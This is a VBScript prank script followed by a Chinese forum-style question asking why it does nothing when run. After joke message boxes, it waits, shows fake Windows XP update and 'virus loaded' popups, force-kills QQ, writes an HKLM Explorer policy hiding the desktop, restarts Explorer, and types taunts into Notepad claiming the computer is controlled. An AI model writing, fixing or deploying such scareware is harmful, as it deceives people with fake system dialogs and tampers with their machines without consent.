msgbox "要求："&vbcrlf&"1、要同时涉及3大门派"&vbcrlf&"2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理"&vbcrlf&"3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&"第N天 有人来投稿 全文只有九个字:"&vbcrlf&""&vbcrlf&"...........",0,"武侠小说征文"
msgbox "秃驴 敢跟贫道抢师太",64,"投稿"
set ws=createobject("wscript.shell")
sub sleep (s)
wscript.sleep s * 1000
end sub
sleep 900
ws.popup "windows检测到有重要更新未安装"&vbcrlf&""&vbcrlf&"系统将在30秒后自动下载更新并安装",30,"Windows Xp",64
sleep 10
ws.popup "正在下载更新......"&vbcrlf&""&vbcrlf&"稍候将提示您安装",10,"Windows Xp",64
sleep 900
ws.popup "windows已将一病毒载入计算机中"&vbcrlf&""&vbcrlf&"稍后即将运行",15,"病毒",64
sleep 3
ws.run "taskkill /f /im qq.exe",vbhide : sleep 5
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
ws.run "notepad",3 : wscript.sleep 2000
ws.sendkeys "^ " : wscript.sleep 1000
verybat=split("gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,",",")
for each wind in verybat
ws.sendkeys wind
wscript.sleep 500
next
这一段代码要怎么用。我试了用记事本保存为VBS文件的，可是运行不起，点了没有反应。
|
